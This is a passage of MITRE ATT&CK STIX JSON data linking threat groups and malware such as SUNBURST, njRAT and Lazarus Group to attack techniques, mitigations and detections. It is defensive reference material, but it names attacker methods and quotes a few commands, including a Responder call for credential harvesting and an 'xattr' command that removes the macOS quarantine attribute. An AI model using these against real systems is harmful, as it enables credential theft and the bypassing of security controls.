2016)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. 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(2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T17:11:41.388Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used VBScripts to initiate the execution of payloads.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f58a02ed-055f-461f-bfdf-067f07310423","type":"relationship","created":"2020-08-13T16:51:23.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). 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[APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.(Citation: FireEye APT28)(Citation: Bitdefender APT28 Dec 2015)(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). 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Retrieved May 26, 2020."}],"modified":"2020-05-26T20:33:11.754Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to decrypt the loader configuration and payload DLL.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fd3ec25-00ed-48c1-af72-e2523959860e","type":"relationship","created":"2019-06-25T12:37:30.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-06-09T18:51:50.586Z","description":"Require signed binaries.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. 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Retrieved December 11, 2020."}],"modified":"2020-12-11T22:38:19.613Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can add itself to the Registry as a startup program to establish persistence.(Citation: Fortinet Agent Tesla April 2018)(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f00ebba-7e80-4495-8ba0-081e6a8cc0c8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). 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Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has a module to collect usernames and passwords stored in browsers.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:31:49.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9655304e-7bdb-4375-8789-2bfecc5b0a64","type":"relationship","created":"2020-11-05T14:39:22.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. 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Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.515Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45522d60-160a-4c07-bd98-9a487175910e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. 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Retrieved November 16, 2020."}],"modified":"2020-11-16T19:36:31.439Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) has the ability to identify the username on a compromised host.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc4252e5-6a2a-443e-9a31-16d86f4f069b","type":"relationship","created":"2020-07-28T18:20:56.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). 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Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.336Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has used useless code blocks to counter analysis.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b14bfc1-2c78-4ec9-ad02-aeed6f1cf83e","type":"relationship","created":"2020-10-14T00:44:35.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. 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Retrieved January 19, 2021."}],"modified":"2021-03-04T22:05:10.707Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used the <code>quser</code> command to show currently logged on users.(Citation: NCC Group Chimera January 2021) ","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ace53417-c3e0-49b6-b3d1-04451b94ee75","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has used the name `postgressql.exe` to mask a malicious payload.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T12:28:41.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c4fbea-d3d4-4e9a-ab46-8683f2bde40b","type":"relationship","created":"2019-05-02T14:41:03.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). 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Retrieved July 30, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.073Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) can enumerate all windows on the victim’s machine.(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a63bcf8-fff3-4b31-8164-f8ee290425ba","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. 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(2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.836Z","description":"(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--82c3c7bc-b0dd-46f6-97fb-3aef732f6d21","created":"2022-03-30T14:26:51.833Z","x_mitre_version":"0.1","external_references":[{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","modified":"2022-04-20T02:23:22.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--670a7586-5833-4e00-903a-c699b9810c13","type":"relationship","created":"2022-02-01T15:24:07.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-04T17:00:04.309Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) executed [Responder](https://attack.mitre.org/software/S0174) using the command <code>[Responder file path] -i [IP address] -rPv</code> on a compromised host to harvest credentials and move laterally.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5fef08a-e2ca-4bd1-880e-80fd90dc3d6a","type":"relationship","created":"2020-12-04T15:01:55.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-04T15:01:55.429Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can enumerate all account names on a remote share.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48925883-c396-49a2-8b1b-2d7220959e2c","type":"relationship","created":"2019-06-24T15:55:14.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:24:04.785Z","description":"Consider removing the local Administrators group from the list of groups allowed to log in through RDP.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--51dea151-0898-4a45-967c-3ebee0420484","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2ba1f7a-1951-47df-855b-3f42a60a9901","type":"relationship","created":"2020-05-15T13:43:22.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.793Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used network sniffing to obtain login data. (Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e823be4b-50b9-4430-9010-e960b46bdfcc","type":"relationship","created":"2020-06-17T20:39:12.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-17T20:39:12.751Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has used a custom routine to decrypt strings.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--07773227-54d9-4476-877a-739c490b7b65","type":"relationship","created":"2019-06-24T18:57:11.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."},{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."},{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-06-24T18:57:11.074Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has a module that steals passwords saved in victim web browsers.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--883558d8-c445-45cf-a5cd-841fdf49f311","type":"relationship","created":"2019-09-23T22:53:30.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2021-10-15T00:28:08.666Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a malware variant called WIDETONE to conduct port scans on specified subnets.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. 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Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.879Z","description":"A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1969fef1-3e75-4228-b034-b6436f207c01","type":"relationship","created":"2021-04-12T20:07:50.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.190Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has executed PowerShell scripts via WMI.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5410e8d-a440-41a6-abcc-d7b1c4c097db","type":"relationship","created":"2020-05-11T19:44:35.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Frankenstein June 2019","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html","description":"Adamitis, D. et al. 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Retrieved May 11, 2020."}],"modified":"2020-05-28T00:01:09.610Z","description":"[Frankenstein](https://attack.mitre.org/groups/G0101) has used WMI queries to detect if virtualization environments or analysis tools were running on the system.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2add2e31-58af-4e52-bdd7-5ddd295656a3","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) ","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e9f95f0-4939-4e74-9073-70efddddff50","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. 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(2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."},{"description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. 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(2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-14T03:38:44.131Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses the command <code>xattr -d com.apple.quarantine</code> to remove the quarantine file attribute used by Gatekeeper and Notarization checks.(Citation: Trend Micro MacOS Backdoor November 